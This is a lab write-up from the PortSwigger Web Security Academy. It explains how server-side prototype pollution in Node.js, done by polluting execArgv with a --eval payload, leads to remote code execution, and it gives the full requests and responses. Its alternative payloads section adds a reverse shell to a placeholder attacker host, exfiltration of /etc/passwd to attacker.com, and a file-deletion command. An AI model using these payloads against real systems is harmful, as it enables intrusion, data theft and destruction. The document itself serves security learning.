RCE via Server-Side Prototype Pollution
Platform: PortSwigger Web Security Academy
Vulnerability: Server-side Prototype Pollution -> Remote Code Execution
Objective: Delete /home/carlos/morale.txt
Summary
Exploit server-side prototype pollution to inject malicious Node.js arguments into child process execution, achieving remote code execution.
Attack Chain
┌─────────────────────┐ ┌─────────────────────┐ ┌─────────────────────┐
│ Find JSON Input │────▶│ Pollute │────▶│ Trigger Child │
│ Endpoint │ │ Object.prototype │ │ Process Spawn │
│ (/change-address) │ │ .execArgv │ │ (/admin/jobs) │
└─────────────────────┘ └─────────────────────┘ └─────────────────────┘
│
▼
┌─────────────────────┐
│ --eval executes │
│ fs.unlinkSync() │
│ File deleted! │
└─────────────────────┘
Why This Works
Node.js Child Process Options
When Node.js spawns child processes using fork() or spawn(), it accepts an options object:
const { fork } = require('child_process');
function runJob(jobName) {
const options = { cwd: '/some/path' }; // execArgv NOT defined!
fork('jobs/' + jobName + '.js', [], options);
}
Prototype Chain Lookup
fork()looks foroptions.execArgv- Not found on
optionsobject directly - JavaScript looks up prototype chain
- Finds polluted
Object.prototype.execArgv - Child process spawns with attacker-controlled arguments
The execArgv Property
execArgv contains command-line arguments passed to the Node.js process itself (not the script). The --eval flag executes arbitrary JavaScript:
node --eval="console.log('executed')" script.js
By polluting execArgv with --eval=<malicious code>, any child process will execute our code.
Exploitation Steps
Step 1: Identify Injection Point
Found JSON endpoint that processes user input:
- Endpoint:
POST /my-account/change-address - Accepts: JSON body with address fields
Step 2: Pollute Object.prototype.execArgv
Request:
POST /my-account/change-address HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"[session]",
"__proto__":{
"execArgv":[
"--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"
]
}
}
Response (confirms pollution):
{
"username":"wiener",
"firstname":"Peter",
"lastname":"Wiener",
"address_line_1":"Wiener HQ",
"isAdmin":true,
"execArgv":["--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"]
}
The execArgv appearing in response shows Object.prototype was polluted.
Step 3: Trigger Child Process
Request:
POST /admin/jobs HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8
{
"csrf":"[token]",
"sessionId":"[session]",
"tasks":["db-cleanup","fs-cleanup"]
}
Response:
{
"results":[
{"name":"db-cleanup","success":true,"message":"Child process executed successfully"},
{"name":"fs-cleanup","success":false,"error":{"code":1,"message":"Unexpected error."}}
]
}
What happened:
- Both jobs spawned child processes with polluted
execArgv --evalexecuted before the actual job scriptfs.unlinkSync()deleted the target filefs-cleanupfailed likely because the--evalinterfered with normal execution- File was deleted successfully
Key Concepts
Why execArgv?
| Property | What It Controls | RCE Potential |
|---|---|---|
execArgv |
Arguments to Node process | High - --eval executes code |
shell |
Whether to use shell | Medium - enables shell injection |
env |
Environment variables | Medium - NODE_OPTIONS can inject |
execPath |
Path to Node binary | Low - needs writable location |
Payload Breakdown
"--eval=const fs=require('fs');fs.unlinkSync('/home/carlos/morale.txt')"
| Part | Purpose |
|---|---|
--eval= |
Node flag to execute following code |
require('fs') |
Load filesystem module (not auto-loaded in –eval context) |
fs.unlinkSync() |
Synchronous file deletion (more reliable than async) |
Why unlinkSync vs unlink?
unlinkSync- Synchronous, blocks until complete, more reliable in –evalunlink- Async, might not complete before process exits
Detection in Response
The pollution was confirmed when the response included:
"execArgv":["--eval=..."]
This happens because:
- Server reflects the user object back
- Object inherits from polluted
Object.prototype JSON.stringify()includes inherited enumerable properties
Alternative Payloads
Reverse Shell (if network egress allowed)
"__proto__":{
"execArgv":[
"--eval=require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER/PORT 0>&1')"
]
}
Read File (data exfil)
"__proto__":{
"execArgv":[
"--eval=require('http').get('http://attacker.com/'+require('fs').readFileSync('/etc/passwd').toString('base64'))"
]
}
Using shell property instead
"__proto__":{
"shell":"node",
"NODE_OPTIONS":"--eval=process.exit(require('child_process').execSync('rm /home/carlos/morale.txt'))"
}
Key Learnings
- Two-step attack: Pollute first, then trigger the gadget
- execArgv is powerful: Controls how Node processes start
- Require in –eval: Modules aren’t pre-loaded, must
require()them - Sync vs Async: Use synchronous methods for reliability in –eval
- Response reflection: Inherited properties appear in JSON responses
- Multiple processes affected: ALL child processes after pollution use the polluted values